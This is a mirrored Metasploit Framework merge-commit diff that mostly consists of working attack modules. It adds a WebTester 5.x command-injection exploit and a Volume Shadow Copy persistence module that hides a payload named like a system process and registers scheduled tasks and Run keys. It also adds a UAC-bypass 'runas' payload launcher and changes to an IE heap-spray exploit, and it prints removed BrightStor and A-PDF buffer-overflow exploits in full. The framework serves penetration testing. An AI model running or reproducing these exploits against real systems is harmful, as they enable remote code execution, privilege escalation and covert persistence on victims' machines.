mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Merge from master to clear conflict
Conflicts: modules/exploits/windows/brightstor/tape_engine_8A.rb modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb
This commit is contained in:
commit
07ab53ab39
@ -92,6 +92,7 @@ root
|
||||
router
|
||||
rw
|
||||
rwa
|
||||
s!a@m#n$p%c
|
||||
san-fran
|
||||
sanfran
|
||||
scotty
|
||||
|
@ -4,6 +4,7 @@ require 'rex/exploitation/obfuscatejs'
|
||||
require 'rex/exploitation/encryptjs'
|
||||
require 'rex/exploitation/heaplib'
|
||||
require 'rex/exploitation/javascriptosdetect'
|
||||
require 'rex/exploitation/javascriptaddonsdetect'
|
||||
|
||||
module Msf
|
||||
|
||||
|
51
lib/rex/exploitation/javascriptaddonsdetect.js
Normal file
51
lib/rex/exploitation/javascriptaddonsdetect.js
Normal file
@ -0,0 +1,51 @@
|
||||
window.addons_detect = { };
|
||||
|
||||
/**
|
||||
* Returns the version of Microsoft Office. If not found, returns null.
|
||||
**/
|
||||
window.addons_detect.getMsOfficeVersion = function () {
|
||||
var version;
|
||||
var types = new Array();
|
||||
for (var i=1; i <= 5; i++) {
|
||||
try {
|
||||
types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString()));
|
||||
}
|
||||
catch (e) {
|
||||
types[i-1] = null;
|
||||
}
|
||||
}
|
||||
|
||||
if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
|
||||
types[3] == 'object' && types[4] == 'object')
|
||||
{
|
||||
version = "2012";
|
||||
}
|
||||
else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
|
||||
types[3] == 'object' && types[4] == null)
|
||||
{
|
||||
version = "2010";
|
||||
}
|
||||
else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
|
||||
types[3] == null && types[4] == null)
|
||||
{
|
||||
version = "2007";
|
||||
}
|
||||
else if (types[0] == 'object' && types[1] == 'object' && types[2] == null &&
|
||||
types[3] == null && types[4] == null)
|
||||
{
|
||||
version = "2003";
|
||||
}
|
||||
else if (types[0] == 'object' && types[1] == null && types[2] == null &&
|
||||
types[3] == null && types[4] == null)
|
||||
{
|
||||
// If run for the first time, you must manullay allow the "Microsoft Office XP"
|
||||
// add-on to run. However, this prompt won't show because the ActiveXObject statement
|
||||
// is wrapped in an exception handler.
|
||||
version = "xp";
|
||||
}
|
||||
else {
|
||||
version = null;
|
||||
}
|
||||
|
||||
return version;
|
||||
}
|
29
lib/rex/exploitation/javascriptaddonsdetect.rb
Normal file
29
lib/rex/exploitation/javascriptaddonsdetect.rb
Normal file
@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/text'
|
||||
require 'rex/exploitation/jsobfu'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
#
|
||||
# Provides javascript functions to determine addon information.
|
||||
#
|
||||
# getMsOfficeVersion(): Returns the version for Microsoft Office
|
||||
#
|
||||
class JavascriptAddonsDetect < JSObfu
|
||||
|
||||
def initialize(custom_js = '', opts = {})
|
||||
@js = custom_js
|
||||
@js += ::File.read(::File.join(::File.dirname(__FILE__), "javascriptaddonsdetect.js"))
|
||||
|
||||
super @js
|
||||
|
||||
return @js
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
@ -52,6 +52,13 @@ window.os_detect.getVersion = function(){
|
||||
return d.style[propCamelCase] === css;
|
||||
}
|
||||
|
||||
var input_type_is_valid = function(input_type) {
|
||||
if (!document.createElement) return false;
|
||||
var input = document.createElement('input');
|
||||
input.setAttribute('type', input_type);
|
||||
return input.type == input_type;
|
||||
}
|
||||
|
||||
//--
|
||||
// Client
|
||||
//--
|
||||
@ -203,7 +210,13 @@ window.os_detect.getVersion = function(){
|
||||
// Thanks to developer.mozilla.org "Firefox for developers" series for most
|
||||
// of these.
|
||||
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
|
||||
if ('HTMLTimeElement' in window) {
|
||||
if ('DeviceStorage' in window && window.DeviceStorage &&
|
||||
'default' in window.DeviceStorage.prototype) {
|
||||
// https://bugzilla.mozilla.org/show_bug.cgi?id=874213
|
||||
ua_version = '24.0'
|
||||
} else if (input_type_is_valid('range')) {
|
||||
ua_version = '23.0'
|
||||
} else if ('HTMLTimeElement' in window) {
|
||||
ua_version = '22.0'
|
||||
} else if ('createElement' in document &&
|
||||
document.createElement('main') &&
|
||||
|
@ -26,7 +26,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ],
|
||||
[ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'],
|
||||
[ 'OSVDB', '98370' ],
|
||||
[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 09 2013'))
|
||||
|
108
modules/exploits/unix/webapp/webtester_exec.rb
Normal file
108
modules/exploits/unix/webapp/webtester_exec.rb
Normal file
@ -0,0 +1,108 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "WebTester 5.x Command Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a command execution vulnerability in WebTester
|
||||
version 5.x. The 'install2.php' file allows unauthenticated users to
|
||||
execute arbitrary commands in the 'cpusername', 'cppassword' and
|
||||
'cpdomain' parameters.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 8190, # Just a big value, injection on POST variable
|
||||
'DisableNops' => true,
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix',
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested on WebTester v5.1.20101016
|
||||
[ 'WebTester version 5.x', { 'auto' => true } ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Oct 17 2013',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if target is running WebTester version 5.x
|
||||
#
|
||||
def check
|
||||
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })
|
||||
|
||||
if not res
|
||||
print_error("#{peer} - Connection timed out")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.body =~ /Eppler Software/
|
||||
if res.body =~ / - v5\.1\.20101016/
|
||||
print_status("#{peer} - Found version: 5.1.20101016")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res.body =~ / - v(5\.[\d\.]+)/
|
||||
print_status("#{peer} - Found version: #{$1}")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
vuln_params = [
|
||||
'cpusername',
|
||||
'cppassword',
|
||||
'cpdomain'
|
||||
]
|
||||
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'install2.php'),
|
||||
'vars_post' => {
|
||||
'createdb' => 'yes',
|
||||
'cpanel' => 'yes',
|
||||
"#{vuln_params.sample}" => "';#{payload.encoded} #"
|
||||
}
|
||||
})
|
||||
|
||||
if not res
|
||||
fail_with(Failure::Unknown, "#{peer} - Request timed out")
|
||||
elsif res.code == 200 and res.body =~ /Failed to connect to database server/
|
||||
print_good("#{peer} - Payload sent successfully")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
@ -1,92 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Module::Deprecated
|
||||
deprecated Date.new(2013, 10, 2), "exploit/windows/brightstor/tape_engine_0x8a"
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
|
||||
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
|
||||
the buffer and execute arbitrary code.
|
||||
},
|
||||
'Author' => [ 'MC' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '68330'],
|
||||
[ 'URL', 'http://www.metasploit.com/users/mc' ],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 500,
|
||||
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],
|
||||
],
|
||||
'DisclosureDate' => 'Oct 4 2010',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([ Opt::RPORT(6502) ], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
connect
|
||||
|
||||
handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
|
||||
print_status("Binding to #{handle} ...")
|
||||
|
||||
dcerpc_bind(handle)
|
||||
print_status("Bound to #{handle} ...")
|
||||
|
||||
request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
|
||||
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
dcerpc.call(0x2B, request)
|
||||
|
||||
sploit = NDR.long(4)
|
||||
sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
begin
|
||||
dcerpc_call(0x8A, sploit)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
=begin
|
||||
/* opcode: 0x8A, address: 0x100707D0 */
|
||||
|
||||
long sub_100707D0 (
|
||||
[in] handle_t arg_1,
|
||||
[in] long arg_2,
|
||||
[in][ref][string] char * arg_3
|
||||
);
|
||||
=end
|
@ -64,8 +64,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 7 on Windows XP SP3', {} ],
|
||||
[ 'IE 8 on Windows XP SP3', {} ],
|
||||
[ 'IE 8 on Windows 7', {} ]
|
||||
[ 'IE 8 on Windows 7', {} ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
@ -74,6 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
#'PrependMigrate' => true,
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Privileged' => false,
|
||||
@ -86,6 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
def get_check_html
|
||||
%Q|<html>
|
||||
<script>
|
||||
#{js_base64}
|
||||
#{js_os_detect}
|
||||
|
||||
function os() {
|
||||
@ -117,7 +120,7 @@ function dll() {
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
|
||||
window.location = "#{get_uri.chomp("/")}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll();
|
||||
}
|
||||
</script>
|
||||
</html>
|
||||
@ -200,11 +203,16 @@ window.onload = function() {
|
||||
rop_payload
|
||||
end
|
||||
|
||||
#
|
||||
# IE 6's call is at 6
|
||||
# IE 8's call is at 7
|
||||
# Don't think this one triggers on IE9
|
||||
#
|
||||
def get_sploit_html(target_info)
|
||||
os = target_info[:os]
|
||||
js_payload = ''
|
||||
|
||||
if os =~ /Windows (7|XP) MSIE 8\.0/
|
||||
if os =~ /Windows (7|XP) MSIE [78]\.0/
|
||||
js_payload = Rex::Text.to_unescape(get_payload(target_info))
|
||||
else
|
||||
print_error("Target not supported by this attack.")
|
||||
@ -220,8 +228,9 @@ sprayHeap({shellcode:unescape("#{js_payload}")});
|
||||
var earth = document;
|
||||
var data = "";
|
||||
for (i=0; i<17; i++) {
|
||||
if (i==7) { data += unescape("%u2020%u2030"); }
|
||||
else { data += "\\u4141\\u4141"; }
|
||||
if (i==6) { data += unescape("%u2020%u2030"); }
|
||||
else if (i==7) { data += unescape("%u2020%u2030"); }
|
||||
else { data += unescape("%u4141%u4141"); }
|
||||
}
|
||||
data += "\\u4141";
|
||||
|
||||
@ -278,7 +287,12 @@ function kaiju() {
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri =~ /search\?o=(.+)\&d=(.+)$/
|
||||
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }
|
||||
target_info =
|
||||
{
|
||||
:os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)),
|
||||
:dll => Rex::Text.uri_decode($2)
|
||||
}
|
||||
|
||||
sploit = get_sploit_html(target_info)
|
||||
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||
return
|
||||
|
@ -1,75 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::Seh
|
||||
include Msf::Module::Deprecated
|
||||
deprecated Date.new(2013, 10, 2), "exploit/windows/fileformat/a_pdf_wav_to_mp3"
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
|
||||
the application is used to import a specially crafted m3u file, a buffer overflow occurs
|
||||
allowing arbitrary code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'd4rk-h4ck3r', # Original Exploit
|
||||
'Dr_IDE', # SEH Exploit
|
||||
'dookie' # MSF Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '67241' ],
|
||||
[ 'EDB', '14676' ],
|
||||
[ 'EDB', '14681' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh',
|
||||
'DisablePayloadHandler' => 'true',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 600,
|
||||
'BadChars' => "\x00\x0a",
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r in wavtomp3.exe
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Aug 17 2010',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
sploit = rand_text_alpha_upper(target['Offset'])
|
||||
sploit << generate_seh_payload(target.ret)
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
file_create(sploit)
|
||||
|
||||
end
|
||||
|
||||
end
|
@ -38,6 +38,19 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
|
||||
end
|
||||
|
||||
def runas_method
|
||||
payload = generate_payload_exe
|
||||
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
tmpdir = session.fs.file.expand_path("%TEMP%")
|
||||
tempexe = tmpdir + "\\" + payload_filename
|
||||
fd = session.fs.file.new(tempexe, "wb")
|
||||
fd.write(payload)
|
||||
fd.close
|
||||
print_status("Uploading payload: #{tmpdir}\\#{payload_filename}")
|
||||
session.railgun.shell32.ShellExecuteA(nil,"runas","#{tmpdir}\\#{payload_filename}",nil,nil,5)
|
||||
print_status("Payload executed")
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
isadmin = session.railgun.shell32.IsUserAnAdmin()
|
||||
@ -79,7 +92,9 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
print_good "UAC is set to Default"
|
||||
print_good "BypassUAC can bypass this setting, continuing..."
|
||||
when 0
|
||||
print_warning "Could not determine UAC level - attempting anyways..."
|
||||
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
|
||||
runas_method
|
||||
return
|
||||
end
|
||||
|
||||
# Check if you are an admin
|
||||
@ -130,7 +145,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
tmpdir = session.fs.file.expand_path("%TEMP%")
|
||||
cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}"
|
||||
cmd = "#{tmpdir}\\#{bypass_uac_filename} /c #{tmpdir}\\#{payload_filename}"
|
||||
|
||||
print_status("Uploading the bypass UAC executable to the filesystem...")
|
||||
|
||||
@ -138,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
#
|
||||
# Upload UAC bypass to the filesystem
|
||||
#
|
||||
session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe)
|
||||
session.fs.file.upload_file("#{tmpdir}\\#{bypass_uac_filename}", bpexe)
|
||||
print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
|
||||
#
|
||||
# Upload the payload to the filesystem
|
||||
|
201
modules/exploits/windows/local/vss_persistence.rb
Normal file
201
modules/exploits/windows/local/vss_persistence.rb
Normal file
@ -0,0 +1,201 @@
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::ShadowCopy
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
|
||||
super(update_info(info,
|
||||
'Name' => "Persistent Payload in Windows Volume Shadow Copy",
|
||||
'Description' => %q{
|
||||
This module will attempt to create a persistent payload in a new volume shadow copy. This is
|
||||
based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has
|
||||
been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY
|
||||
option, the user should need password in order to start session on the target machine.
|
||||
},
|
||||
'Author' => ['Jedediah Rodriguez <Jedi.rodriguez[at]gmail.com>'], # @MrXors
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [ [ 'Windows 7', {} ] ],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ],
|
||||
[ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']
|
||||
],
|
||||
'DisclosureDate'=> "Oct 21 2011"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']),
|
||||
OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]),
|
||||
OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]),
|
||||
OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]),
|
||||
OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]),
|
||||
OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
@clean_up = ""
|
||||
|
||||
print_status("Checking requirements...")
|
||||
|
||||
os = sysinfo['OS']
|
||||
unless os =~ /Windows 7/
|
||||
print_error("This module has been tested only on Windows 7")
|
||||
return
|
||||
end
|
||||
|
||||
unless is_admin?
|
||||
print_error("This module requires admin privs to run")
|
||||
return
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_error("This module requires UAC to be bypassed first")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Starting Volume Shadow Service...")
|
||||
unless start_vss
|
||||
print_error("Unable to start the Volume Shadow Service")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Uploading payload...")
|
||||
remote_file = upload(datastore['RPATH'])
|
||||
|
||||
print_status("Creating Shadow Volume Copy...")
|
||||
unless volume_shadow_copy
|
||||
fail_with(Failure::Unknown, "Failed to create a new shadow copy")
|
||||
end
|
||||
|
||||
print_status("Finding the Shadow Copy Volume...")
|
||||
volume_data_id = []
|
||||
cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\""
|
||||
output = cmd_exec(cmd)
|
||||
output.each_line do |line|
|
||||
cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}")
|
||||
volume_data_id = "#{cmd_regex}"
|
||||
end
|
||||
|
||||
print_status("Deleting malware...")
|
||||
file_rm(remote_file)
|
||||
|
||||
if datastore["EXECUTE"]
|
||||
print_status("Executing #{remote_file}...")
|
||||
execute(volume_data_id, remote_file)
|
||||
end
|
||||
|
||||
if datastore["SCHTASK"]
|
||||
print_status("Creating Scheduled Task...")
|
||||
schtasks(volume_data_id, remote_file)
|
||||
end
|
||||
|
||||
if datastore["RUNKEY"]
|
||||
print_status("Installing as autorun in the registry...")
|
||||
install_registry(volume_data_id, remote_file)
|
||||
end
|
||||
|
||||
unless @clean_up.empty?
|
||||
log_file
|
||||
end
|
||||
end
|
||||
|
||||
def upload(trg_loc="")
|
||||
if trg_loc.nil? or trg_loc.empty?
|
||||
location = "\\Windows\\Temp"
|
||||
else
|
||||
location = trg_loc
|
||||
end
|
||||
|
||||
file_name = "svhost#{rand(100)}.exe"
|
||||
file_on_target = "#{location}\\#{file_name}"
|
||||
|
||||
exe = generate_payload_exe
|
||||
|
||||
begin
|
||||
write_file("#{file_on_target}", exe)
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(Failure::NotFound, e.message)
|
||||
end
|
||||
|
||||
return file_on_target
|
||||
end
|
||||
|
||||
def volume_shadow_copy
|
||||
begin
|
||||
id = create_shadowcopy(datastore['VOLUME'])
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(Failure::NotFound, e.message)
|
||||
end
|
||||
|
||||
if id
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def execute(volume_id, exe_path)
|
||||
run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
|
||||
cmd_exec(run_cmd)
|
||||
end
|
||||
|
||||
def schtasks(volume_id, exe_path)
|
||||
sch_name = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
global_root = "\"\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\""
|
||||
sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}"
|
||||
cmd_exec(sch_cmd)
|
||||
@clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n"
|
||||
end
|
||||
|
||||
def install_registry(volume_id, exe_path)
|
||||
global_root = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
|
||||
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||
print_status("Installing into autorun as #{hklm_key}\\#{nam}")
|
||||
res = registry_setvaldata("#{hklm_key}", nam, "#{global_root}", "REG_SZ")
|
||||
if res
|
||||
print_good("Installed into autorun as #{hklm_key}\\#{nam}")
|
||||
@clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n"
|
||||
else
|
||||
print_error("Error: failed to open the registry key for writing")
|
||||
end
|
||||
end
|
||||
|
||||
def clean_data
|
||||
host = session.sys.config.sysinfo["Computer"]
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
|
||||
::FileUtils.mkdir_p(logs)
|
||||
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
||||
return logfile
|
||||
end
|
||||
|
||||
def log_file
|
||||
clean_rc = clean_data()
|
||||
file_local_write(clean_rc, @clean_up)
|
||||
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
|
||||
end
|
||||
|
||||
end
|
@ -1,10 +1,13 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
#
|
||||
# Check (recursively) for style compliance violations and other
|
||||
# tree inconsistencies.
|
||||
#
|
||||
# by jduck and friends
|
||||
#
|
||||
require 'fileutils'
|
||||
require 'find'
|
||||
|
||||
CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES']
|
||||
|
||||
@ -22,6 +25,10 @@ class String
|
||||
"\e[1;33;40m#{self}\e[0m"
|
||||
end
|
||||
|
||||
def green
|
||||
"\e[1;32;40m#{self}\e[0m"
|
||||
end
|
||||
|
||||
def ascii_only?
|
||||
self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true
|
||||
end
|
||||
@ -31,9 +38,12 @@ class Msftidy
|
||||
|
||||
LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long
|
||||
|
||||
attr_reader :full_filepath, :source, :name
|
||||
|
||||
def initialize(source_file)
|
||||
@full_filepath = source_file
|
||||
@source = load_file(source_file)
|
||||
@name = source_file
|
||||
@name = File.basename(source_file)
|
||||
end
|
||||
|
||||
public
|
||||
@ -56,6 +66,11 @@ class Msftidy
|
||||
puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}"
|
||||
end
|
||||
|
||||
def fixed(txt, line=0)
|
||||
line_msg = (line>0) ? ":#{line.to_s}" : ''
|
||||
puts "#{@name}#{line_msg} - [#{'FIXED'.green}] #{txt}"
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
@ -240,12 +255,12 @@ class Msftidy
|
||||
end
|
||||
end
|
||||
|
||||
def test_old_rubies(f_rel)
|
||||
def test_old_rubies
|
||||
return true unless CHECK_OLD_RUBIES
|
||||
return true unless Object.const_defined? :RVM
|
||||
puts "Checking syntax for #{f_rel}."
|
||||
puts "Checking syntax for #{@name}."
|
||||
rubies ||= RVM.list_strings
|
||||
res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/}
|
||||
res = %x{rvm all do ruby -c #{@full_filepath}}.split("\n").select {|msg| msg =~ /Syntax OK/}
|
||||
error("Fails alternate Ruby version check") if rubies.size != res.size
|
||||
end
|
||||
|
||||
@ -417,14 +432,14 @@ class Msftidy
